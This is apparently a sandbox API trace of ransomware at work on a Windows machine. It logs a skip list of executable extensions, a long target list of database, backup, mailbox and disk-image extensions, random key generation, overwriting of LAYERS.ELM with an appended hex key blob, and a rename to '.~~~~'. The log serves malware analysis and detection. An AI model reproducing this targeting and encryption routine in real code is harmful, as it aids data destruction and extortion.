	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dbx") returned 0x0
	[0084.708] lstrlenW (lpString=".DB3") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DB3") returned 0x0
	[0084.708] lstrlenW (lpString=".DAT") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DAT") returned 0x0
	[0084.708] lstrlenW (lpString=".VHDX") returned 5
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".VHDX") returned 0x0
	[0084.708] lstrlenW (lpString=".ndf") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".ndf") returned 0x0
	[0084.708] lstrlenW (lpString=".DB") returned 3
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DB") returned 0x0
	[0084.708] lstrlenW (lpString=".sql") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".sql") returned 0x0
	[0084.708] lstrlenW (lpString=".MYD") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".MYD") returned 0x0
	[0084.708] lstrlenW (lpString=".DBT") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DBT") returned 0x0
	[0084.708] lstrlenW (lpString=".ACCDB") returned 6
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.708] lstrlenW (lpString=".fdb") returned 4
	[0084.708] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".fdb") returned 0x0
	[0084.708] lstrlenW (lpString=".bak") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".bak") returned 0x0
	[0084.709] lstrlenW (lpString=".myd") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".myd") returned 0x0
	[0084.709] lstrlenW (lpString=".DTXS") returned 5
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".DTXS") returned 0x0
	[0084.709] lstrlenW (lpString=".ckp") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".ckp") returned 0x0
	[0084.709] lstrlenW (lpString=".dbt") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".dbt") returned 0x0
	[0084.709] lstrlenW (lpString=".db") returned 3
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".db") returned 0x0
	[0084.709] lstrlenW (lpString=".TXT") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".TXT") returned 0x0
	[0084.709] lstrlenW (lpString=".MDF") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".MDF") returned 0x0
	[0084.709] lstrlenW (lpString=".bdb") returned 4
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".bdb") returned 0x0
	[0084.709] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.709] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804470
	[0084.709] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.709] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.711] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.711] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0084.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x285cfe8
	[0084.711] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20470144861) returned 1
	[0084.711] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c52c470, dwHighDateTime=0x1d60e1e)) 
	[0084.711] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623c0
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3aa0f0
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa0f0 | out: hHeap=0x300000) returned 1
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x27f4af0
	[0084.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.712] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f4af0 | out: hHeap=0x300000) returned 1
	[0084.712] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.712] GetLastError () returned 0x0
	[0084.712] GetLastError () returned 0x0
	[0084.713] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.713] GetLastError () returned 0x0
	[0084.713] GetLastError () returned 0x0
	[0084.727] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff18bd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.727] WriteFile (in: hFile=0x128, lpBuffer=0x280dfd0*, nNumberOfBytesToWrite=0xe743, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280dfd0*, lpNumberOfBytesWritten=0x25dfec0*=0xe743, lpOverlapped=0x0) returned 1
	[0084.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280dfd0 | out: hHeap=0x300000) returned 1
	[0084.727] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.727] WriteFile (in: hFile=0x128, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.728] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.728] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.728] CloseHandle (hObject=0x128) returned 1
	[0084.872] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0084.872] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\LAYERS.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\layers.elm.~~~~")) returned 1
	[0084.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0084.873] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0084.874] GetLastError () returned 0x0
	[0084.874] RtlWakeConditionVariable () returned 0x365f70
	[0084.874] GetCurrentThreadId () returned 0x9f4
	[0084.874] GetCurrentThreadId () returned 0x9f4
	[0084.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6c70 | out: hHeap=0x300000) returned 1
	[0084.874] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9de0 | out: hHeap=0x300000) returned 1
	[0084.874] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6c70
	[0084.874] lstrlenW (lpString=".scr") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".scr") returned 0x0
	[0084.874] lstrlenW (lpString=".cmd") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".cmd") returned 0x0
	[0084.874] lstrlenW (lpString=".dll") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dll") returned 0x0
	[0084.874] lstrlenW (lpString=".bat") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".bat") returned 0x0
	[0084.874] lstrlenW (lpString=".cpl") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".cpl") returned 0x0
	[0084.874] lstrlenW (lpString=".sys") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".sys") returned 0x0
	[0084.874] lstrlenW (lpString=".msc") returned 4
	[0084.874] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".msc") returned 0x0
	[0084.875] lstrlenW (lpString=".com") returned 4
	[0084.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".com") returned 0x0
	[0084.875] lstrlenW (lpString=".lnk") returned 4
	[0084.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".lnk") returned 0x0
	[0084.875] lstrlenW (lpString=".msp") returned 4
	[0084.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".msp") returned 0x0
	[0084.875] lstrlenW (lpString=".pif") returned 4
	[0084.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".pif") returned 0x0
	[0084.875] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.875] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch="msp\r\n.pif") returned 0x0
	[0084.875] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\network.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0084.922] lstrlenW (lpString=".sqb") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".sqb") returned 0x0
	[0084.922] lstrlenW (lpString=".ost") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".ost") returned 0x0
	[0084.922] lstrlenW (lpString=".txt") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".txt") returned 0x0
	[0084.922] lstrlenW (lpString=".mdt") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".mdt") returned 0x0
	[0084.922] lstrlenW (lpString=".BDB") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".BDB") returned 0x0
	[0084.922] lstrlenW (lpString=".eql") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".eql") returned 0x0
	[0084.922] lstrlenW (lpString=".DBF") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DBF") returned 0x0
	[0084.922] lstrlenW (lpString=".EQL") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".EQL") returned 0x0
	[0084.922] lstrlenW (lpString=".FDB") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".FDB") returned 0x0
	[0084.922] lstrlenW (lpString=".EDB") returned 4
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".EDB") returned 0x0
	[0084.922] lstrlenW (lpString=".DACPAC") returned 7
	[0084.922] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DACPAC") returned 0x0
	[0084.923] lstrlenW (lpString=".VHD") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".VHD") returned 0x0
	[0084.923] lstrlenW (lpString=".DBV") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DBV") returned 0x0
	[0084.923] lstrlenW (lpString=".dacpac") returned 7
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dacpac") returned 0x0
	[0084.923] lstrlenW (lpString=".sdf") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".sdf") returned 0x0
	[0084.923] lstrlenW (lpString=".accdb") returned 6
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".accdb") returned 0x0
	[0084.923] lstrlenW (lpString=".DBX") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DBX") returned 0x0
	[0084.923] lstrlenW (lpString=".MDT") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".MDT") returned 0x0
	[0084.923] lstrlenW (lpString=".SQB") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".SQB") returned 0x0
	[0084.923] lstrlenW (lpString=".vhd") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".vhd") returned 0x0
	[0084.923] lstrlenW (lpString=".bac") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".bac") returned 0x0
	[0084.923] lstrlenW (lpString=".mdf") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".mdf") returned 0x0
	[0084.923] lstrlenW (lpString=".BAK") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".BAK") returned 0x0
	[0084.923] lstrlenW (lpString=".BAC") returned 4
	[0084.923] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".BAC") returned 0x0
	[0084.923] lstrlenW (lpString=".dbs") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dbs") returned 0x0
	[0084.924] lstrlenW (lpString=".vhdx") returned 5
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".vhdx") returned 0x0
	[0084.924] lstrlenW (lpString=".NDF") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".NDF") returned 0x0
	[0084.924] lstrlenW (lpString=".dat") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dat") returned 0x0
	[0084.924] lstrlenW (lpString=".DBS") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DBS") returned 0x0
	[0084.924] lstrlenW (lpString=".CKP") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".CKP") returned 0x0
	[0084.924] lstrlenW (lpString=".edb") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".edb") returned 0x0
	[0084.924] lstrlenW (lpString=".PST") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".PST") returned 0x0
	[0084.924] lstrlenW (lpString=".dbf") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dbf") returned 0x0
	[0084.924] lstrlenW (lpString=".SQL") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".SQL") returned 0x0
	[0084.924] lstrlenW (lpString=".pst") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".pst") returned 0x0
	[0084.924] lstrlenW (lpString=".dbv") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dbv") returned 0x0
	[0084.924] lstrlenW (lpString=".SDF") returned 4
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".SDF") returned 0x0
	[0084.924] lstrlenW (lpString=".dtxs") returned 5
	[0084.924] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dtxs") returned 0x0
	[0084.925] lstrlenW (lpString=".db3") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".db3") returned 0x0
	[0084.925] lstrlenW (lpString=".OST") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".OST") returned 0x0
	[0084.925] lstrlenW (lpString=".dbx") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dbx") returned 0x0
	[0084.925] lstrlenW (lpString=".DB3") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DB3") returned 0x0
	[0084.925] lstrlenW (lpString=".DAT") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DAT") returned 0x0
	[0084.925] lstrlenW (lpString=".VHDX") returned 5
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".VHDX") returned 0x0
	[0084.925] lstrlenW (lpString=".ndf") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".ndf") returned 0x0
	[0084.925] lstrlenW (lpString=".DB") returned 3
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DB") returned 0x0
	[0084.925] lstrlenW (lpString=".sql") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".sql") returned 0x0
	[0084.925] lstrlenW (lpString=".MYD") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".MYD") returned 0x0
	[0084.925] lstrlenW (lpString=".DBT") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DBT") returned 0x0
	[0084.925] lstrlenW (lpString=".ACCDB") returned 6
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".ACCDB") returned 0x0
	[0084.925] lstrlenW (lpString=".fdb") returned 4
	[0084.925] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".fdb") returned 0x0
	[0084.926] lstrlenW (lpString=".bak") returned 4
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".bak") returned 0x0
	[0084.926] lstrlenW (lpString=".myd") returned 4
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".myd") returned 0x0
	[0084.926] lstrlenW (lpString=".DTXS") returned 5
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".DTXS") returned 0x0
	[0084.926] lstrlenW (lpString=".ckp") returned 4
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".ckp") returned 0x0
	[0084.926] lstrlenW (lpString=".dbt") returned 4
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".dbt") returned 0x0
	[0084.926] lstrlenW (lpString=".db") returned 3
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".db") returned 0x0
	[0084.926] lstrlenW (lpString=".TXT") returned 4
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".TXT") returned 0x0
	[0084.926] lstrlenW (lpString=".MDF") returned 4
	[0084.926] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\NETWORK.INF", lpSrch=".MDF") returned 0x0
	[0084.926] lstrlenW (lpString=".bdb") returned 4
